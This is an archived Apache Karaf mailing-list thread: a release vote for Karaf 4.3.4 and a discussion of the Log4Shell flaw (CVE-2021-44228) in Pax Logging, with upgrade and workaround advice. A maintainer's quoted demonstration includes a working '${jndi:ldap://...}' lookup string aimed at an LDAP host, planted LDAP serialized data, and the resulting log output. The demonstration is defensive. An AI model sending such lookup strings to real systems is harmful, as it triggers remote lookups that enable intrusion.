Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Francois Papon]

+1 (binding)

Thanks JB!

regards,

Francois

On 13/12/2021 16:24, Jean-Baptiste Onofré wrote:

Hi everyone,

I submit Apache Karaf runtime 4.3.4 to your vote (take #2).

This release includes dependency upgrades, fixes, and improvements, 
especially:


- upgrade to Pax Logging 2.0.11, upgrading to log4j2 2.0.15, fixing 
important security issue (CVE-2021-44228)

- align dependencies versions between Karaf and Pax *
- fix missing system export packages
- fix on Karaf features json support
- fix features autoRefresh configuration handling
- fix on sshd session handling
- update to sshd 2.8.0
- lot of pax * updates
- and much more !

Please take a look on Release Notes for details !

Release Notes:
https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140=12350547 



Staging Maven Repository:
https://repository.apache.org/content/repositories/orgapachekaraf-1164/

Staging Dist Repository:
https://dist.apache.org/repos/dist/dev/karaf/4.3.4/

Git tag:
karaf-4.3.4

Please vote to approve this release:

[ ] +1 Approve the release
[ ] -1 Don't approve the release (please provide specific comments)

This vote will be open for at least 72 hours.

Regards
JB

Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Jamie G.]

+1

Cheers,
Jamie

On Mon, Dec 13, 2021 at 1:49 PM Achim Nierbeck
 wrote:
>
> +1 (binding)
>
> best regards, Achim
>
> Am Mo., 13. Dez. 2021 um 17:48 Uhr schrieb Roedl Lukas <
> lukas.ro...@ait.ac.at>:
>
> > +1 (non-binding)
> >
> > regards,
> > Lukas
> >
> > -Ursprüngliche Nachricht-
> > Von: Jean-Baptiste Onofré 
> > Gesendet: Montag, 13. Dezember 2021 16:24
> > An: dev@karaf.apache.org
> > Betreff: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)
> >
> > Hi everyone,
> >
> > I submit Apache Karaf runtime 4.3.4 to your vote (take #2).
> >
> > This release includes dependency upgrades, fixes, and improvements,
> > especially:
> >
> > - upgrade to Pax Logging 2.0.11, upgrading to log4j2 2.0.15, fixing
> > important security issue (CVE-2021-44228)
> > - align dependencies versions between Karaf and Pax *
> > - fix missing system export packages
> > - fix on Karaf features json support
> > - fix features autoRefresh configuration handling
> > - fix on sshd session handling
> > - update to sshd 2.8.0
> > - lot of pax * updates
> > - and much more !
> >
> > Please take a look on Release Notes for details !
> >
> > Release Notes:
> >
> > https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140=12350547
> >
> > Staging Maven Repository:
> > https://repository.apache.org/content/repositories/orgapachekaraf-1164/
> >
> > Staging Dist Repository:
> > https://dist.apache.org/repos/dist/dev/karaf/4.3.4/
> >
> > Git tag:
> > karaf-4.3.4
> >
> > Please vote to approve this release:
> >
> > [ ] +1 Approve the release
> > [ ] -1 Don't approve the release (please provide specific comments)
> >
> > This vote will be open for at least 72 hours.
> >
> > Regards
> > JB
> >
>
>
> --
>
> Apache Member
> Apache Karaf  Committer & PMC
> OPS4J Pax Web  Committer &
> Project Lead
> blog 
> Co-Author of Apache Karaf Cookbook 

Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Achim Nierbeck]

+1 (binding)

best regards, Achim

Am Mo., 13. Dez. 2021 um 17:48 Uhr schrieb Roedl Lukas <
lukas.ro...@ait.ac.at>:

> +1 (non-binding)
>
> regards,
> Lukas
>
> -Ursprüngliche Nachricht-
> Von: Jean-Baptiste Onofré 
> Gesendet: Montag, 13. Dezember 2021 16:24
> An: dev@karaf.apache.org
> Betreff: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)
>
> Hi everyone,
>
> I submit Apache Karaf runtime 4.3.4 to your vote (take #2).
>
> This release includes dependency upgrades, fixes, and improvements,
> especially:
>
> - upgrade to Pax Logging 2.0.11, upgrading to log4j2 2.0.15, fixing
> important security issue (CVE-2021-44228)
> - align dependencies versions between Karaf and Pax *
> - fix missing system export packages
> - fix on Karaf features json support
> - fix features autoRefresh configuration handling
> - fix on sshd session handling
> - update to sshd 2.8.0
> - lot of pax * updates
> - and much more !
>
> Please take a look on Release Notes for details !
>
> Release Notes:
>
> https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140=12350547
>
> Staging Maven Repository:
> https://repository.apache.org/content/repositories/orgapachekaraf-1164/
>
> Staging Dist Repository:
> https://dist.apache.org/repos/dist/dev/karaf/4.3.4/
>
> Git tag:
> karaf-4.3.4
>
> Please vote to approve this release:
>
> [ ] +1 Approve the release
> [ ] -1 Don't approve the release (please provide specific comments)
>
> This vote will be open for at least 72 hours.
>
> Regards
> JB
>


-- 

Apache Member
Apache Karaf  Committer & PMC
OPS4J Pax Web  Committer &
Project Lead
blog 
Co-Author of Apache Karaf Cookbook 

AW: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Roedl Lukas]

+1 (non-binding)

regards,
Lukas

-Ursprüngliche Nachricht-
Von: Jean-Baptiste Onofré  
Gesendet: Montag, 13. Dezember 2021 16:24
An: dev@karaf.apache.org
Betreff: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

Hi everyone,

I submit Apache Karaf runtime 4.3.4 to your vote (take #2).

This release includes dependency upgrades, fixes, and improvements,
especially:

- upgrade to Pax Logging 2.0.11, upgrading to log4j2 2.0.15, fixing important 
security issue (CVE-2021-44228)
- align dependencies versions between Karaf and Pax *
- fix missing system export packages
- fix on Karaf features json support
- fix features autoRefresh configuration handling
- fix on sshd session handling
- update to sshd 2.8.0
- lot of pax * updates
- and much more !

Please take a look on Release Notes for details !

Release Notes:
https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140=12350547

Staging Maven Repository:
https://repository.apache.org/content/repositories/orgapachekaraf-1164/

Staging Dist Repository:
https://dist.apache.org/repos/dist/dev/karaf/4.3.4/

Git tag:
karaf-4.3.4

Please vote to approve this release:

[ ] +1 Approve the release
[ ] -1 Don't approve the release (please provide specific comments)

This vote will be open for at least 72 hours.

Regards
JB

Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Grzegorz Grzybek]

+1

regards
Grzegorz Grzybek

pon., 13 gru 2021 o 17:17 Freeman Fang  napisał(a):

> +1(binding)
>
> Thanks!
> Freeman
>
> On Mon, Dec 13, 2021 at 10:24 AM Jean-Baptiste Onofré 
> wrote:
>
> > Hi everyone,
> >
> > I submit Apache Karaf runtime 4.3.4 to your vote (take #2).
> >
> > This release includes dependency upgrades, fixes, and improvements,
> > especially:
> >
> > - upgrade to Pax Logging 2.0.11, upgrading to log4j2 2.0.15, fixing
> > important security issue (CVE-2021-44228)
> > - align dependencies versions between Karaf and Pax *
> > - fix missing system export packages
> > - fix on Karaf features json support
> > - fix features autoRefresh configuration handling
> > - fix on sshd session handling
> > - update to sshd 2.8.0
> > - lot of pax * updates
> > - and much more !
> >
> > Please take a look on Release Notes for details !
> >
> > Release Notes:
> >
> >
> https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140=12350547
> >
> > Staging Maven Repository:
> > https://repository.apache.org/content/repositories/orgapachekaraf-1164/
> >
> > Staging Dist Repository:
> > https://dist.apache.org/repos/dist/dev/karaf/4.3.4/
> >
> > Git tag:
> > karaf-4.3.4
> >
> > Please vote to approve this release:
> >
> > [ ] +1 Approve the release
> > [ ] -1 Don't approve the release (please provide specific comments)
> >
> > This vote will be open for at least 72 hours.
> >
> > Regards
> > JB
> >
>

Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Freeman Fang]

+1(binding)

Thanks!
Freeman

On Mon, Dec 13, 2021 at 10:24 AM Jean-Baptiste Onofré 
wrote:

> Hi everyone,
>
> I submit Apache Karaf runtime 4.3.4 to your vote (take #2).
>
> This release includes dependency upgrades, fixes, and improvements,
> especially:
>
> - upgrade to Pax Logging 2.0.11, upgrading to log4j2 2.0.15, fixing
> important security issue (CVE-2021-44228)
> - align dependencies versions between Karaf and Pax *
> - fix missing system export packages
> - fix on Karaf features json support
> - fix features autoRefresh configuration handling
> - fix on sshd session handling
> - update to sshd 2.8.0
> - lot of pax * updates
> - and much more !
>
> Please take a look on Release Notes for details !
>
> Release Notes:
>
> https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140=12350547
>
> Staging Maven Repository:
> https://repository.apache.org/content/repositories/orgapachekaraf-1164/
>
> Staging Dist Repository:
> https://dist.apache.org/repos/dist/dev/karaf/4.3.4/
>
> Git tag:
> karaf-4.3.4
>
> Please vote to approve this release:
>
> [ ] +1 Approve the release
> [ ] -1 Don't approve the release (please provide specific comments)
>
> This vote will be open for at least 72 hours.
>
> Regards
> JB
>

Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Robert Varga]

On 13/12/2021 16:24, Jean-Baptiste Onofré wrote:


Please vote to approve this release:

[ ] +1 Approve the release


OpenDaylight basics seem to be okay with this release, +1 (non-binding).

Thanks,
Robert


OpenPGP_signature
Description: OpenPGP digital signature

Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Steinar Bang]

> Jean-Baptiste Onofré :

> Hi everyone,
> I submit Apache Karaf runtime 4.3.4 to your vote (take #2).
[snip!]
> Please vote to approve this release:

> [X] +1 Approve the release
> [ ] -1 Don't approve the release (please provide specific comments)

> This vote will be open for at least 72 hours.

All of my karaf applications installed without error messages and seems
to be running normally.

+1 from me (non-binding)

[VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Jean-Baptiste Onofré]

Hi everyone,

I submit Apache Karaf runtime 4.3.4 to your vote (take #2).

This release includes dependency upgrades, fixes, and improvements, 
especially:


- upgrade to Pax Logging 2.0.11, upgrading to log4j2 2.0.15, fixing 
important security issue (CVE-2021-44228)

- align dependencies versions between Karaf and Pax *
- fix missing system export packages
- fix on Karaf features json support
- fix features autoRefresh configuration handling
- fix on sshd session handling
- update to sshd 2.8.0
- lot of pax * updates
- and much more !

Please take a look on Release Notes for details !

Release Notes:
https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140=12350547

Staging Maven Repository:
https://repository.apache.org/content/repositories/orgapachekaraf-1164/

Staging Dist Repository:
https://dist.apache.org/repos/dist/dev/karaf/4.3.4/

Git tag:
karaf-4.3.4

Please vote to approve this release:

[ ] +1 Approve the release
[ ] -1 Don't approve the release (please provide specific comments)

This vote will be open for at least 72 hours.

Regards
JB

Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

[Steven Huypens]

Hi  Grzegorz,

Thanks. I was actually looking to create a new custom distribution, but I'm
not sure if I want all other Karaf 4.3.4 to come along.

For now it looks like we're going with log4j2.formatMsgNoLookups=true

Best regards,
Steven

On Mon, Dec 13, 2021 at 2:17 PM Grzegorz Grzybek 
wrote:

> @Steven Huypens
>
> In order to fix in current installation, you have to change the version in
> etc/startup.properties and at runtime, do `update
> 
> mvn:org.ops4j.pax.logging/pax-logging-log4j2/2.0.11`
>
> regards
> Grzegorz Grzybek
>
> pon., 13 gru 2021 o 13:18 Jean-Baptiste Onofré 
> napisał(a):
>
> > Hi,
> >
> > you can upgrade to Karaf 4.3.4 (vote will start in a hour or so).
> >
> > It will include Pax Logging 2.0.11.
> >
> > If you can't wait, then, you have to create your own distro (mimic what
> > we do at Karaf).
> >
> > Regards
> > JB
> >
> > On 13/12/2021 13:10, Steven Huypens wrote:
> > > Hi Grzegorz,
> > >
> > > Thanks, that's clear now.
> > >
> > > Another question: what is the simplest way of upgrading pax logging to
> > > 2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
> > > dependencies and add the 2.0.11 ones to my features.xml, or is there a
> > > better option ?
> > >
> > > Kind regards,
> > > Steven
> > >
> > > On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek <
> gr.grzy...@gmail.com>
> > > wrote:
> > >
> > >> Hello
> > >>
> > >> The multiple export trick/hack/improvement/convenience is to make it
> > easier
> > >> to upgrade pax logging itself without affecting the OSGi users.
> > >> Pax Logging *has to* export Log4j2 packages at version of the ONLY
> > Log4j2
> > >> library it uses (private-packages + re-exports), but it also declares
> > that
> > >> the exports match earlier versions.
> > >> So if your application has:
> > >>
> > >> Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
> > >>
> > >> Just because it was built by maven-bundle-plugin that for some reasons
> > used
> > >> more strict version range policy, the multiple versions exported by
> Pax
> > >> Logging bundles won't break your application.
> > >> It's a way of telling - if you're using our API at given version, we
> > >> provide compatible interfaces. But the underlying implementation is
> (for
> > >> pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
> > >>
> > >> regards
> > >> Grzegorz Grzybek
> > >>
> > >> pon., 13 gru 2021 o 11:42 Steven Huypens 
> > >> napisał(a):
> > >>
> > >>> Hi all,
> > >>>
> > >>> We are using pax logging 2.0.9, but I can see it exports log4j2
> > packages
> > >>> for different versions: 2.9.1, 2.13.3 & 2.14.1
> > >>>
> > >>> Since one of those versions is not higher than 2.10, it's not clear
> to
> > me
> > >>> if the system property log4j.formatMsgNoLookup will fix the issue for
> > our
> > >>> application. Anyone knows ?
> > >>>
> > >>> Kind regards,
> > >>> Steven
> > >>>
> > >>> On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <
> > e...@zusammenkunft.net
> > >>>
> > >>> wrote:
> > >>>
> >  I am currently working on a description for a work around
> (specifying
> > >> the
> >  system property) but I can’t get it to work.
> > 
> >  It still expands ${java:version}. I checked that it shows with
> >  “system:property log4j.formatMsgNoLookup” true and there seems to be
> > no
> >  %m{lookup} setting.
> > 
> >  I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> >  version newer than 2.10).
> > 
> >  Any idea?
> > 
> >  Is it possible that the shaded pax-logging-log4j does not honor the
> > >>> system
> >  property of log4j?
> > 
> > 
> >  --
> >  https://bernd.eckenfels.net
> >  
> >  From: Grzegorz Grzybek 
> >  Sent: Friday, December 10, 2021 1:43:00 PM
> >  To: dev@karaf.apache.org 
> >  Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> > >>> released
> > 
> >  Hello
> > 
> >  Actually, https://issues.apache.org/jira/browse/LOG4J2-3198
> describes
> > >> it
> >  in
> >  details.
> > 
> >  I was a bit surprised too - I knew about e.g., `${java:version}` if
> > you
> >  used it in pattern layout configuration - I didn't expect Log4j2 to
> >  interpolate the messages passed to log() methods as well!
> > 
> >  But you can try (in Karaf):
> > 
> >  karaf@root()> log:log 'xxx ${java:version} xxx'
> > 
> >  And you'll see (in the logs):
> > 
> >  2021-12-10 13:39:25,243 INFO  {pipe-log:log 'xxx ${java:version}
> xxx'}
> >  [org.apache.karaf.log.command.LogEntry.execute()]
> (LogEntry.java:57) :
> > >>> xxx
> >  Java version 1.8.0_312 xxx
> > 
> >  so a message has been interpolated.
> > 
> >  What's worse, I could add an entry to my OpenLDAP with:
> > 
> >  javaClassName: java.lang.String
> >  javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> > 
> >  And then:
> 

Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

[Grzegorz Grzybek]

@Steven Huypens

In order to fix in current installation, you have to change the version in
etc/startup.properties and at runtime, do `update

mvn:org.ops4j.pax.logging/pax-logging-log4j2/2.0.11`

regards
Grzegorz Grzybek

pon., 13 gru 2021 o 13:18 Jean-Baptiste Onofré  napisał(a):

> Hi,
>
> you can upgrade to Karaf 4.3.4 (vote will start in a hour or so).
>
> It will include Pax Logging 2.0.11.
>
> If you can't wait, then, you have to create your own distro (mimic what
> we do at Karaf).
>
> Regards
> JB
>
> On 13/12/2021 13:10, Steven Huypens wrote:
> > Hi Grzegorz,
> >
> > Thanks, that's clear now.
> >
> > Another question: what is the simplest way of upgrading pax logging to
> > 2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
> > dependencies and add the 2.0.11 ones to my features.xml, or is there a
> > better option ?
> >
> > Kind regards,
> > Steven
> >
> > On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek 
> > wrote:
> >
> >> Hello
> >>
> >> The multiple export trick/hack/improvement/convenience is to make it
> easier
> >> to upgrade pax logging itself without affecting the OSGi users.
> >> Pax Logging *has to* export Log4j2 packages at version of the ONLY
> Log4j2
> >> library it uses (private-packages + re-exports), but it also declares
> that
> >> the exports match earlier versions.
> >> So if your application has:
> >>
> >> Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
> >>
> >> Just because it was built by maven-bundle-plugin that for some reasons
> used
> >> more strict version range policy, the multiple versions exported by Pax
> >> Logging bundles won't break your application.
> >> It's a way of telling - if you're using our API at given version, we
> >> provide compatible interfaces. But the underlying implementation is (for
> >> pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
> >>
> >> regards
> >> Grzegorz Grzybek
> >>
> >> pon., 13 gru 2021 o 11:42 Steven Huypens 
> >> napisał(a):
> >>
> >>> Hi all,
> >>>
> >>> We are using pax logging 2.0.9, but I can see it exports log4j2
> packages
> >>> for different versions: 2.9.1, 2.13.3 & 2.14.1
> >>>
> >>> Since one of those versions is not higher than 2.10, it's not clear to
> me
> >>> if the system property log4j.formatMsgNoLookup will fix the issue for
> our
> >>> application. Anyone knows ?
> >>>
> >>> Kind regards,
> >>> Steven
> >>>
> >>> On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <
> e...@zusammenkunft.net
> >>>
> >>> wrote:
> >>>
>  I am currently working on a description for a work around (specifying
> >> the
>  system property) but I can’t get it to work.
> 
>  It still expands ${java:version}. I checked that it shows with
>  “system:property log4j.formatMsgNoLookup” true and there seems to be
> no
>  %m{lookup} setting.
> 
>  I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
>  version newer than 2.10).
> 
>  Any idea?
> 
>  Is it possible that the shaded pax-logging-log4j does not honor the
> >>> system
>  property of log4j?
> 
> 
>  --
>  https://bernd.eckenfels.net
>  
>  From: Grzegorz Grzybek 
>  Sent: Friday, December 10, 2021 1:43:00 PM
>  To: dev@karaf.apache.org 
>  Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> >>> released
> 
>  Hello
> 
>  Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes
> >> it
>  in
>  details.
> 
>  I was a bit surprised too - I knew about e.g., `${java:version}` if
> you
>  used it in pattern layout configuration - I didn't expect Log4j2 to
>  interpolate the messages passed to log() methods as well!
> 
>  But you can try (in Karaf):
> 
>  karaf@root()> log:log 'xxx ${java:version} xxx'
> 
>  And you'll see (in the logs):
> 
>  2021-12-10 13:39:25,243 INFO  {pipe-log:log 'xxx ${java:version} xxx'}
>  [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> >>> xxx
>  Java version 1.8.0_312 xxx
> 
>  so a message has been interpolated.
> 
>  What's worse, I could add an entry to my OpenLDAP with:
> 
>  javaClassName: java.lang.String
>  javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> 
>  And then:
> 
>  karaf@root()> log:log '${jndi:ldap://
> >>> 10.39.192.99/cn=boom,dc=k8s,dc=forest
>  }'
> 
>  gave me this in logs:
> 
>  2021-12-10 13:40:38,181 INFO  {pipe-log:log '${jndi:ldap://
>  10.39.192.99/cn=boom,dc=k8s,dc=forest}
>  '}
>  [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
>  http://localhost/attack
> 
>  "http://localhost/attack; is the deserialized value from
>  "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> 
>  While you can't use "javaCodeBase" LDAP attribute 

Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

[Jean-Baptiste Onofré]

Hi,

you can upgrade to Karaf 4.3.4 (vote will start in a hour or so).

It will include Pax Logging 2.0.11.

If you can't wait, then, you have to create your own distro (mimic what 
we do at Karaf).


Regards
JB

On 13/12/2021 13:10, Steven Huypens wrote:

Hi Grzegorz,

Thanks, that's clear now.

Another question: what is the simplest way of upgrading pax logging to
2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
dependencies and add the 2.0.11 ones to my features.xml, or is there a
better option ?

Kind regards,
Steven

On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek 
wrote:


Hello

The multiple export trick/hack/improvement/convenience is to make it easier
to upgrade pax logging itself without affecting the OSGi users.
Pax Logging *has to* export Log4j2 packages at version of the ONLY Log4j2
library it uses (private-packages + re-exports), but it also declares that
the exports match earlier versions.
So if your application has:

Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"

Just because it was built by maven-bundle-plugin that for some reasons used
more strict version range policy, the multiple versions exported by Pax
Logging bundles won't break your application.
It's a way of telling - if you're using our API at given version, we
provide compatible interfaces. But the underlying implementation is (for
pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).

regards
Grzegorz Grzybek

pon., 13 gru 2021 o 11:42 Steven Huypens 
napisał(a):


Hi all,

We are using pax logging 2.0.9, but I can see it exports log4j2 packages
for different versions: 2.9.1, 2.13.3 & 2.14.1

Since one of those versions is not higher than 2.10, it's not clear to me
if the system property log4j.formatMsgNoLookup will fix the issue for our
application. Anyone knows ?

Kind regards,
Steven

On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels 
I am currently working on a description for a work around (specifying

the

system property) but I can’t get it to work.

It still expands ${java:version}. I checked that it shows with
“system:property log4j.formatMsgNoLookup” true and there seems to be no
%m{lookup} setting.

I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
version newer than 2.10).

Any idea?

Is it possible that the shaded pax-logging-log4j does not honor the

system

property of log4j?


--
https://bernd.eckenfels.net

From: Grzegorz Grzybek 
Sent: Friday, December 10, 2021 1:43:00 PM
To: dev@karaf.apache.org 
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10

released


Hello

Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes

it

in
details.

I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!

But you can try (in Karaf):

karaf@root()> log:log 'xxx ${java:version} xxx'

And you'll see (in the logs):

2021-12-10 13:39:25,243 INFO  {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :

xxx

Java version 1.8.0_312 xxx

so a message has been interpolated.

What's worse, I could add an entry to my OpenLDAP with:

javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr

And then:

karaf@root()> log:log '${jndi:ldap://

10.39.192.99/cn=boom,dc=k8s,dc=forest

}'

gave me this in logs:

2021-12-10 13:40:38,181 INFO  {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}
'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack

"http://localhost/attack; is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.

While you can't use "javaCodeBase" LDAP attribute to point to malicius

URL

code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://
example.com
}.

regards
Grzegorz Grzybek

pt., 10 gru 2021 o 13:28 Bernd Eckenfels 
napisał(a):


Hello Grzegorz,

Thanks a lot for the super quick reaction.

  I was rather confused to see that log messages can trigger a JNDI

lookup

anyway. Do you think there should be hardened something here?

  Do you know if that is triggered by malicious log config or by

malicious

log messages and does it only affect systems where the JMSAppender is
actually used?

Gruss
Bernd


--
http://bernd.eckenfels.net

Von: Grzegorz Grzybek 
Gesendet: Friday, December 10, 2021 12:20:02 PM
An: ops4j-announcem...@googlegroups.com <
ops4j-announcem...@googlegroups.com>; Karaf Dev <

dev@karaf.apache.org

;

d...@felix.apache.org 
Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10

released


Hello

Pax Logging 2.0.11 

Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

[Steven Huypens]

Hi Grzegorz,

Thanks, that's clear now.

Another question: what is the simplest way of upgrading pax logging to
2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
dependencies and add the 2.0.11 ones to my features.xml, or is there a
better option ?

Kind regards,
Steven

On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek 
wrote:

> Hello
>
> The multiple export trick/hack/improvement/convenience is to make it easier
> to upgrade pax logging itself without affecting the OSGi users.
> Pax Logging *has to* export Log4j2 packages at version of the ONLY Log4j2
> library it uses (private-packages + re-exports), but it also declares that
> the exports match earlier versions.
> So if your application has:
>
> Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
>
> Just because it was built by maven-bundle-plugin that for some reasons used
> more strict version range policy, the multiple versions exported by Pax
> Logging bundles won't break your application.
> It's a way of telling - if you're using our API at given version, we
> provide compatible interfaces. But the underlying implementation is (for
> pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
>
> regards
> Grzegorz Grzybek
>
> pon., 13 gru 2021 o 11:42 Steven Huypens 
> napisał(a):
>
> > Hi all,
> >
> > We are using pax logging 2.0.9, but I can see it exports log4j2 packages
> > for different versions: 2.9.1, 2.13.3 & 2.14.1
> >
> > Since one of those versions is not higher than 2.10, it's not clear to me
> > if the system property log4j.formatMsgNoLookup will fix the issue for our
> > application. Anyone knows ?
> >
> > Kind regards,
> > Steven
> >
> > On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels  >
> > wrote:
> >
> > > I am currently working on a description for a work around (specifying
> the
> > > system property) but I can’t get it to work.
> > >
> > > It still expands ${java:version}. I checked that it shows with
> > > “system:property log4j.formatMsgNoLookup” true and there seems to be no
> > > %m{lookup} setting.
> > >
> > > I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> > > version newer than 2.10).
> > >
> > > Any idea?
> > >
> > > Is it possible that the shaded pax-logging-log4j does not honor the
> > system
> > > property of log4j?
> > >
> > >
> > > --
> > > https://bernd.eckenfels.net
> > > 
> > > From: Grzegorz Grzybek 
> > > Sent: Friday, December 10, 2021 1:43:00 PM
> > > To: dev@karaf.apache.org 
> > > Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> > released
> > >
> > > Hello
> > >
> > > Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes
> it
> > > in
> > > details.
> > >
> > > I was a bit surprised too - I knew about e.g., `${java:version}` if you
> > > used it in pattern layout configuration - I didn't expect Log4j2 to
> > > interpolate the messages passed to log() methods as well!
> > >
> > > But you can try (in Karaf):
> > >
> > > karaf@root()> log:log 'xxx ${java:version} xxx'
> > >
> > > And you'll see (in the logs):
> > >
> > > 2021-12-10 13:39:25,243 INFO  {pipe-log:log 'xxx ${java:version} xxx'}
> > > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> > xxx
> > > Java version 1.8.0_312 xxx
> > >
> > > so a message has been interpolated.
> > >
> > > What's worse, I could add an entry to my OpenLDAP with:
> > >
> > > javaClassName: java.lang.String
> > > javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> > >
> > > And then:
> > >
> > > karaf@root()> log:log '${jndi:ldap://
> > 10.39.192.99/cn=boom,dc=k8s,dc=forest
> > > }'
> > >
> > > gave me this in logs:
> > >
> > > 2021-12-10 13:40:38,181 INFO  {pipe-log:log '${jndi:ldap://
> > > 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> > > '}
> > > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> > > http://localhost/attack
> > >
> > > "http://localhost/attack; is the deserialized value from
> > > "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> > >
> > > While you can't use "javaCodeBase" LDAP attribute to point to malicius
> > URL
> > > code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> > > property that defaults to "false" since 2009), you still have a remote
> > > request being performed when logging messages with ${jndi:ldap://
> > > example.com
> > > }.
> > >
> > > regards
> > > Grzegorz Grzybek
> > >
> > > pt., 10 gru 2021 o 13:28 Bernd Eckenfels 
> > > napisał(a):
> > >
> > > > Hello Grzegorz,
> > > >
> > > > Thanks a lot for the super quick reaction.
> > > >
> > > >  I was rather confused to see that log messages can trigger a JNDI
> > lookup
> > > > anyway. Do you think there should be hardened something here?
> > > >
> > > >  Do you know if that is triggered by malicious log config or by
> > malicious
> > > > log messages and does it only affect systems where the JMSAppender is
> > > > actually used?

Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

[Grzegorz Grzybek]

Hello

The multiple export trick/hack/improvement/convenience is to make it easier
to upgrade pax logging itself without affecting the OSGi users.
Pax Logging *has to* export Log4j2 packages at version of the ONLY Log4j2
library it uses (private-packages + re-exports), but it also declares that
the exports match earlier versions.
So if your application has:

Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"

Just because it was built by maven-bundle-plugin that for some reasons used
more strict version range policy, the multiple versions exported by Pax
Logging bundles won't break your application.
It's a way of telling - if you're using our API at given version, we
provide compatible interfaces. But the underlying implementation is (for
pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).

regards
Grzegorz Grzybek

pon., 13 gru 2021 o 11:42 Steven Huypens 
napisał(a):

> Hi all,
>
> We are using pax logging 2.0.9, but I can see it exports log4j2 packages
> for different versions: 2.9.1, 2.13.3 & 2.14.1
>
> Since one of those versions is not higher than 2.10, it's not clear to me
> if the system property log4j.formatMsgNoLookup will fix the issue for our
> application. Anyone knows ?
>
> Kind regards,
> Steven
>
